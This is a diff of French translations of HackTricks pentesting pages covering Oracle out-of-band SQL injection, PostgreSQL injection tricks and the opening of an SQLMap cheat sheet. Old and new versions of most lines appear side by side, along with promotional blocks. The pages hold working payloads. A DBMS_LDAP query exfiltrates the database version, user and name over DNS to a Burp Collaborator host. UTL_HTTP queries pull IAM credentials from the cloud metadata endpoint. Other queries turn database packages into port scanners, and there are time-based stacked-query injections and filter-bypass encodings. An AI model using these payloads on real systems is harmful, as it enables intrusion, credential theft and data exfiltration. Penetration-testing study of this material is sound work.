Cette recherche sommaire omet évidemment des packages comme `DBMS_LDAP` (qui permet de passer un nom d'hôte et un numéro de port) car [la page de documentation](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) vous redirige simplement vers un [autre emplacement](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Par conséquent, il peut y avoir d'autres packages Oracle qui peuvent être détournés pour effectuer des requêtes sortantes que j'aurais pu manquer.
|
||||
|
||||
Dans tous les cas, examinons certains des packages que nous avons découverts et énumérés ci-dessus.
|
||||
Dans tous les cas, examinons certains des packages que nous avons découverts et listés ci-dessus.
|
||||
|
||||
**DBMS\_LDAP.INIT**
|
||||
|
||||
Le package `DBMS_LDAP` permet d'accéder aux données des serveurs LDAP. La fonction `init()` initialise une session avec un serveur LDAP et prend un nom d'hôte et un numéro de port en argument.
|
||||
|
||||
Cette fonction a déjà été documentée pour montrer l'exfiltration de données via DNS, comme indiqué ci-dessous
|
||||
Cette fonction a été documentée auparavant pour montrer l'exfiltration de données via DNS, comme ci-dessous
|
||||
```
|
||||
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
|
||||
```
|
||||
Cependant, étant donné que la fonction accepte un nom d'hôte et un numéro de port en tant qu'arguments, vous pouvez l'utiliser pour fonctionner comme un scanner de ports également.
|
||||
Cependant, étant donné que la fonction accepte un nom d'hôte et un numéro de port en tant qu'arguments, vous pouvez également l'utiliser comme un scanner de ports.
|
||||
|
||||
Voici quelques exemples :
|
||||
Voici quelques exemples
|
||||
```
|
||||
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
|
||||
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
|
||||
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
|
||||
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
|
||||
```
|
||||
Un `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` indique que le port est fermé alors qu'une valeur de session indique que le port est ouvert.
|
||||
Un `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` indique que le port est fermé tandis qu'une valeur de session indique que le port est ouvert.
|
||||
|
||||
**UTL\_SMTP**
|
||||
|
||||
Le package `UTL_SMTP` est conçu pour l'envoi d'e-mails via SMTP. L'exemple fourni sur le [site de documentation d'Oracle montre comment vous pouvez utiliser ce package pour envoyer un e-mail](https://docs.oracle.com/database/121/ARPLS/u\_smtp.htm#ARPLS71478). Pour nous, cependant, l'intérêt réside dans la possibilité de spécifier un hôte et un port.
|
||||
Le package `UTL_SMTP` est conçu pour envoyer des e-mails via SMTP. L'exemple fourni sur [le site de documentation Oracle montre comment vous pouvez utiliser ce package pour envoyer un email](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Cependant, pour nous, ce qui est intéressant, c'est la capacité de fournir une spécification d'hôte et de port.
|
||||
|
||||
Un exemple rudimentaire est présenté ci-dessous avec la fonction `UTL_SMTP.OPEN_CONNECTION`, avec un délai d'attente de 2 secondes.
|
||||
Un exemple rudimentaire est montré ci-dessous avec la fonction `UTL_SMTP.OPEN_CONNECTION`, avec un délai d'attente de 2 secondes
|
||||
```
|
||||
DECLARE c utl_smtp.connection;
|
||||
BEGIN
|
||||
|
@ -86,13 +88,13 @@ BEGIN
|
|||
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
|
||||
END;
|
||||
```
|
||||
Un `ORA-29276: délai de transfert` indique que le port est ouvert mais aucune connexion SMTP n'a été établie, tandis qu'un `ORA-29278: erreur transitoire SMTP: 421 Service non disponible` indique que le port est fermé.
|
||||
Un `ORA-29276: transfer timeout` indique que le port est ouvert mais aucune connexion SMTP n'a été établie, tandis qu'un `ORA-29278: SMTP transient error: 421 Service not available` indique que le port est fermé.
|
||||
|
||||
**UTL\_TCP**
|
||||
|
||||
Le package `UTL_TCP` et ses procédures et fonctions permettent une communication basée sur TCP/IP avec des services. S'il est programmé pour un service spécifique, ce package peut facilement devenir un moyen d'accès au réseau ou effectuer des requêtes côté serveur complètes, car tous les aspects d'une connexion TCP/IP peuvent être contrôlés.
|
||||
Le package `UTL_TCP` et ses procédures et fonctions permettent [une communication basée sur TCP/IP avec des services](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). S'il est programmé pour un service spécifique, ce package peut facilement devenir une voie d'entrée dans le réseau ou effectuer des requêtes côté serveur complètes, car tous les aspects d'une connexion TCP/IP peuvent être contrôlés.
|
||||
|
||||
L'exemple sur le site de documentation d'Oracle montre comment utiliser ce package pour établir une connexion TCP brute afin de récupérer une page web. Nous pouvons le simplifier encore un peu et l'utiliser pour effectuer des requêtes vers l'instance de métadonnées, par exemple, ou vers un service TCP/IP arbitraire.
|
||||
L'exemple [sur le site de documentation d'Oracle montre comment vous pouvez utiliser ce package pour établir une connexion TCP brute afin de récupérer une page web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Nous pouvons le simplifier encore un peu et l'utiliser pour faire des requêtes à l'instance de métadonnées par exemple ou à un service TCP/IP arbitraire.
|
||||
```
|
||||
set serveroutput on size 30000;
|
||||
SET SERVEROUTPUT ON
|
||||
|
@ -132,32 +134,32 @@ END;
|
|||
utl_tcp.close_connection(c);
|
||||
END;
|
||||
```
|
||||
Intéressant, grâce à la possibilité de créer des requêtes TCP brutes, ce package peut également être utilisé pour interroger le service de métadonnées d'instance de tous les fournisseurs de cloud, car le type de méthode et les en-têtes supplémentaires peuvent tous être transmis dans la requête TCP.
|
||||
**UTL\_HTTP et Requêtes Web**
|
||||
|
||||
**UTL\_HTTP et les requêtes Web**
|
||||
|
||||
Peut-être la technique la plus courante et largement documentée dans tous les tutoriels d'injection SQL Oracle hors bande est le package [`UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u\_http.htm#ARPLS070). Ce package est défini par la documentation comme suit : `Le package UTL_HTTP effectue des appels Hypertext Transfer Protocol (HTTP) à partir de SQL et PL/SQL. Vous pouvez l'utiliser pour accéder à des données sur Internet via HTTP.`
|
||||
Peut-être la technique la plus commune et la plus documentée dans chaque tutoriel sur l'Injection SQL Oracle Out of Band est le [package `UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Ce package est défini par la documentation comme - `Le package UTL_HTTP permet de réaliser des appels au protocole de transfert hypertexte (HTTP) depuis SQL et PL/SQL. Vous pouvez l'utiliser pour accéder à des données sur Internet via HTTP.`
|
||||
```
|
||||
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
|
||||
```
|
||||
Vous pouvez également utiliser ceci pour effectuer une analyse de port rudimentaire avec des requêtes telles que
|
||||
Vous pourriez également utiliser ceci pour effectuer un balayage de ports rudimentaire avec des requêtes telles que
|
||||
```
|
||||
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
|
||||
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
|
||||
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
|
||||
```
|
||||
Un `ORA-12541: TNS:no listener` ou un `TNS:operation timed out` est un signe que le port TCP est fermé, tandis qu'un `ORA-29263: HTTP protocol error` ou des données sont un signe que le port est ouvert.
|
||||
Un `ORA-12541: TNS:no listener` ou un `TNS:operation timed out` indique que le port TCP est fermé, tandis qu'un `ORA-29263: HTTP protocol error` ou des données sont un signe que le port est ouvert.
|
||||
|
||||
Un autre package que j'ai utilisé dans le passé avec des succès variés est la méthode `GETCLOB()` du type abstrait Oracle `HTTPURITYPE` qui vous permet d'interagir avec une URL et offre une prise en charge du protocole HTTP. La méthode `GETCLOB()` est utilisée pour récupérer la réponse GET d'une URL en tant que type de données CLOB. [select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
|
||||
Un autre package que j'ai utilisé par le passé avec un succès variable est la [méthode `GETCLOB()` du type abstrait Oracle `HTTPURITYPE`](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) qui vous permet d'interagir avec une URL et offre un support pour le protocole HTTP. La méthode `GETCLOB()` est utilisée pour récupérer la réponse GET d'une URL sous forme de [type de données CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) [select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux repos github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,38 +2,40 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Astuce de prime de bug** : **inscrivez-vous** à **Intigriti**, une **plateforme de prime de bug premium créée par des pirates, pour les pirates** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
**Astuce pour les chasses aux bugs** : **inscrivez-vous** sur **Intigriti**, une plateforme premium de chasse aux bugs créée par des hackers, pour des hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
***
|
||||
|
||||
**Cette page vise à expliquer différentes astuces qui pourraient vous aider à exploiter une injection SQL trouvée dans une base de données PostgreSQL et à compléter les astuces que vous pouvez trouver sur** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
||||
**Cette page vise à expliquer différents astuces qui pourraient vous aider à exploiter une injection SQL trouvée dans une base de données postgresql et à compléter les astuces que vous pouvez trouver sur** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
||||
|
||||
## Interaction réseau - Élévation de privilèges, scanner de port, divulgation de la réponse de défi NTLM et exfiltration
|
||||
## Interaction réseau - Élévation de privilèges, Scanner de ports, divulgation de réponse au défi NTLM & Exfiltration
|
||||
|
||||
**`dblink`** est un **module PostgreSQL** qui offre plusieurs options intéressantes du point de vue de l'attaquant. Il peut être utilisé pour **se connecter à d'autres instances PostgreSQL** ou effectuer des **connexions TCP**.\
|
||||
**Ces fonctionnalités**, ainsi que la fonctionnalité **`COPY FROM`**, peuvent être utilisées pour **élever les privilèges**, effectuer un **scan de port** ou récupérer des **réponses de défi NTLM**.\
|
||||
[**Vous pouvez lire ici comment effectuer ces attaques.**](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)
|
||||
**Ces fonctionnalités** ainsi que la fonctionnalité **`COPY FROM`** peuvent être utilisées pour **élever les privilèges**, effectuer des **scans de ports** ou récupérer des **réponses au défi NTLM**.\
|
||||
[**Vous pouvez lire ici comment réaliser ces attaques.**](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)
|
||||
|
||||
### **Exemple d'exfiltration utilisant dblink et des objets volumineux**
|
||||
|
||||
Vous pouvez [**lire cet exemple**](dblink-lo\_import-data-exfiltration.md) pour voir un exemple de CTF de **comment charger des données dans des objets volumineux et ensuite exfiltrer le contenu des objets volumineux dans le nom d'utilisateur** de la fonction `dblink_connect`.
|
||||
Vous pouvez [**lire cet exemple**](dblink-lo_import-data-exfiltration.md) pour voir un exemple de CTF de **comment charger des données à l'intérieur d'objets volumineux puis exfiltrer le contenu des objets volumineux à l'intérieur du nom d'utilisateur** de la fonction `dblink_connect`.
|
||||
|
||||
## Attaques PostgreSQL : Lecture/écriture, RCE, élévation de privilèges
|
||||
## Attaques PostgreSQL : Lecture/écriture, RCE, privesc
|
||||
|
||||
Découvrez comment compromettre l'hôte et élever les privilèges depuis PostgreSQL dans :
|
||||
Vérifiez comment compromettre l'hôte et élever les privilèges à partir de PostgreSQL dans :
|
||||
|
||||
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %}
|
||||
[pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md)
|
||||
|
@ -41,14 +43,14 @@ Découvrez comment compromettre l'hôte et élever les privilèges depuis Postgr
|
|||
|
||||
## Contournement de WAF
|
||||
|
||||
### Fonctions de chaînes PostgreSQL
|
||||
### Fonctions de chaînes de caractères PostgreSQL
|
||||
|
||||
La manipulation de chaînes peut vous aider à **contourner les WAF ou autres restrictions**.\
|
||||
[**Dans cette page** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**, vous pouvez trouver quelques fonctions de chaînes utiles.**
|
||||
Manipuler des chaînes de caractères pourrait vous aider à **contourner des WAFs ou d'autres restrictions**.\
|
||||
[**Sur cette page**](https://www.postgresqltutorial.com/postgresql-string-functions/) **vous pouvez trouver des fonctions de chaînes de caractères utiles.**
|
||||
|
||||
### Requêtes empilées
|
||||
|
||||
N'oubliez pas que PostgreSQL prend en charge les requêtes empilées, mais plusieurs applications généreront une erreur si 2 réponses sont renvoyées alors qu'une seule est attendue. Cependant, vous pouvez toujours abuser des requêtes empilées via une injection de temps :
|
||||
Rappelez-vous que postgresql supporte les requêtes empilées, mais plusieurs applications généreront une erreur si 2 réponses sont retournées alors qu'une seule est attendue. Cependant, vous pouvez toujours abuser des requêtes empilées via l'injection temporelle :
|
||||
```
|
||||
id=1; select pg_sleep(10);-- -
|
||||
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
||||
|
@ -57,19 +59,19 @@ id=1; select pg_sleep(10);-- -
|
|||
|
||||
**query\_to\_xml**
|
||||
|
||||
Cette fonction renverra toutes les données au format XML dans un seul fichier. C'est idéal si vous souhaitez décharger beaucoup de données en une seule ligne :
|
||||
Cette fonction retournera toutes les données au format XML dans un seul fichier. C'est idéal si vous souhaitez extraire beaucoup de données en une seule ligne :
|
||||
```sql
|
||||
SELECT query_to_xml('select * from pg_user',true,true,'');
|
||||
```
|
||||
**database\_to\_xml**
|
||||
|
||||
Cette fonction permet de sauvegarder l'intégralité de la base de données au format XML en une seule ligne (faites attention si la base de données est très volumineuse, car cela pourrait entraîner un déni de service ou affecter votre propre client) :
|
||||
Cette fonction va exporter l'intégralité de la base de données au format XML en une seule ligne (faites attention si la base de données est très volumineuse car vous pourriez provoquer un DoS sur celle-ci ou même sur votre propre client) :
|
||||
```sql
|
||||
SELECT database_to_xml(true,true,'');
|
||||
```
|
||||
### Chaînes en hexadécimal
|
||||
### Chaînes en Hexadécimal
|
||||
|
||||
Si vous pouvez exécuter des **requêtes** en les passant **à l'intérieur d'une chaîne** (par exemple en utilisant la fonction **`query_to_xml`**), **vous pouvez utiliser la fonction convert\_from pour passer la chaîne en hexadécimal et contourner les filtres de cette manière :**
|
||||
Si vous pouvez exécuter des **requêtes** en les passant **à l'intérieur d'une chaîne** (par exemple en utilisant la fonction **`query_to_xml`**). **Vous pouvez utiliser convert\_from pour passer la chaîne en hexadécimal et contourner les filtres de cette manière :**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```sql
|
||||
|
@ -83,31 +85,35 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### Guillemets interdits
|
||||
### Citations interdites
|
||||
|
||||
Si vous ne pouvez pas utiliser de guillemets pour votre payload, vous pouvez contourner cette restriction avec `CHR` pour les clauses de base (la concaténation de caractères ne fonctionne que pour les requêtes de base telles que SELECT, INSERT, DELETE, etc. Elle ne fonctionne pas pour toutes les instructions SQL) :
|
||||
Si vous ne pouvez pas utiliser de guillemets pour votre charge utile, vous pouvez contourner cela avec `CHR` pour les clauses de base (_la concaténation de caractères fonctionne uniquement pour les requêtes de base telles que SELECT, INSERT, DELETE, etc. Elle ne fonctionne pas pour toutes les instructions SQL_) :
|
||||
```
|
||||
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
|
||||
```
|
||||
Ou avec `$`. Ces requêtes renvoient les mêmes résultats :
|
||||
Ou avec `$`. Ces requêtes retournent les mêmes résultats :
|
||||
```
|
||||
SELECT 'hacktricks';
|
||||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Astuce de prime de bug**: **inscrivez-vous** à **Intigriti**, une plateforme premium de prime de bug créée par des hackers, pour les hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
```markdown
|
||||
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
**Conseil pour les chasseurs de bugs** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS du débutant à l'expert avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> !</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -1,27 +1,29 @@
|
|||
# SQLMap - Cheatsheet
|
||||
# SQLMap - Feuille de triche
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm).
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) avec plus d'une décennie qui se tiendra les 7 et 8 septembre 2023 à Bogotá, en Colombie. C'est un événement de contenu technique de haut niveau où les dernières recherches en espagnol sont présentées, attirant des hackers et des chercheurs du monde entier.\
|
||||
Inscrivez-vous dès maintenant sur le lien suivant et ne manquez pas cette grande conférence !:
|
||||
[**DragonJAR Security Conference est un événement international de cybersécurité**](https://www.dragonjarcon.org/) qui a plus d'une décennie et se tiendra les 7 et 8 septembre 2023 à Bogotá, Colombie. C'est un événement au contenu technique élevé où sont présentées les dernières recherches en espagnol qui attire des hackers et des chercheurs du monde entier.\
|
||||
Inscrivez-vous maintenant au lien suivant et ne manquez pas cette grande conférence ! :
|
||||
|
||||
{% embed url="https://www.dragonjarcon.org/" %}
|
||||
|
||||
## Arguments de base pour SQLmap
|
